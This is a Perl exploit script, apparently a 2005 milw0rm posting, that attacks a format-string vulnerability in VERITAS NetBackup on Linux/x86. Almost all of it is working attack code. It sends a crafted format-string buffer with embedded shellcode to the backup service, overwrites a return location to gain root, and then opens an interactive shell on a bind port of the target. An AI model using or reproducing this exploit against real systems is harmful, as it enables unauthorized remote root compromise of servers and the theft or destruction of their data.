153 lines
No EOL
3.5 KiB
Perl
Executable file
153 lines
No EOL
3.5 KiB
Perl
Executable file
#!/usr/bin/perl
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##############################################################
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# VERITAS-Linux.pl - VERITAS NetBackup Format Strings Linux/x86 Remote Exploit
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# johnh[at]digitalmunition[dot]com
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# bug found by kf_lists[at]digitalmunition[dot]com
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# http://www.digitalmunition.com/
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##############################################################
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use POSIX;
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use IO::Socket;
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use IO::Select;
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use strict;
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print STDERR "\nveritas.pl - VERITAS NetBackup Format Strings Linux/x86 Remote Exploit\n";
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if ($#ARGV == -1) {
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print "Usage:\n\t$0 <hostname> <port>\n\n";
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exit (1);
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}
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my $hostName = $ARGV[0];
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my $port = $ARGV[1] || 13722;
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buildexploit ($hostName, $port);
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my $shellport = 5570;
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print "[*] Connect to remote shell port\n";
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my $sock = IO::Socket::INET->new (
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Proto => "tcp",
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PeerAddr => $hostName,
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PeerPort => $shellport,
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Type => SOCK_STREAM
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);
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if (! $sock)
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{
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print "[*] Error, Seems Failed\n";
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exit (0);
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}
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print "[*] G0t R00T\n";
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StartShell ($sock);
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sub buildexploit
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{
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my ($host, $port) = @_;
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my $s = IO::Socket::INET->new (
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Proto => "tcp",
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PeerAddr => $host,
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PeerPort => $port,
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Type => SOCK_STREAM
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);
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if (! $s)
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{
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print "[*] Could not create socket: $!\n";
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exit(0);
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}
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print $s " 118 1\nOWNED BABY\n";
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print scalar <$s>;
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print scalar <$s>;
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my $shellcode = "\x90" x 500 .
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"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x16\x81\x73\x17\x13\x99".
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"\x37\xe2\x83\xeb\xfc\xe2\xf4\x22\x42\xc0\x01\xa3\xff\x64\xa1\x40".
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"\xda\x64\x6b\xf2\xd2\xfa\x62\x9a\x5e\x65\x84\x7b\x8c\xf5\xa1\x75".
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"\xca\xbe\x03\xa3\x89\x67\xb3\x44\x10\xd6\x52\x75\x54\xb7\x52\x75".
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"\x2a\x33\x2f\x93\xc9\x67\xb5\x9a\x78\x74\x52\x75\x54\xb7\x6b\xca".
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"\x10\xf4\x52\x2c\xd0\xfa\x62\x52\x7b\xcf\xb3\x7b\xf7\x18\x91\x7b".
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"\xf1\x18\xcd\x71\xf0\xbe\x01\x42\xca\xbe\x03\xa3\x92\xfa\x62";
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my $retloc = 0x080b50ec; #0x080b53b4;
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my $retaddr = 0x80e0658; # can't use shellcode in stack.
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my $hi = ($retaddr >> 0) & 0xffff;
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my $lo = ($retaddr >> 16) & 0xffff;
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$hi = $hi - 0x28;
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$lo = (0x10000 + $lo + 0x28) - $hi - 0x50;
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my $align = 3;
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my $buffer = " 101 6\n" . "a" x $align . pack ('l', $retloc) . pack ('l', $retloc + 2) .
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"%." . $hi . "lx" . "%1694\$hn" .
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"%." . $lo . "lx" . "%1695\$hn" .
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$shellcode . "\n" .
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$shellcode . "\n" .
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"i\n" . "0wned\n" . "y0u\n".
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"boot.ini\n" . "\n";
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print STDERR "Sending " .length($buffer) . " bytes to remote\n";
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sleep (10);
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print $s $buffer;
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print scalar <$s>;
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close $s;
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}
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sub StartShell
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{
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my ($client) = @_;
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my $sel = IO::Select->new();
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# unbuffered fun.
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Unblock(*STDIN);
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Unblock(*STDOUT);
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Unblock($client);
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select($client); $|++;
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select(STDIN); $|++;
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select(STDOUT); $|++;
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$sel->add($client);
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$sel->add(*STDIN);
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while (fileno($client))
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{
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my $fd;
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my @fds = $sel->can_read(1);
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foreach $fd (@fds)
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{
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my $in = <$fd>;
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if (! $in || ! $fd || ! $client)
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{
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print "[*] Closing connection.\n";
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close($client);
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exit(0);
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}
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if ($fd eq $client)
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{
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print STDOUT $in;
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} else {
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print $client $in;
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}
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}
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}
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close ($client);
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exit (0);
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}
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sub Unblock {
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my $fd = shift;
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my $flags;
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$flags = fcntl($fd,F_GETFL,0) || die "Can't get flags for file handle: $!\n";
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fcntl($fd, F_SETFL, $flags|O_NONBLOCK) || die "Can't make handle nonblocking: $!\n";
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}
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# milw0rm.com [2005-10-20] |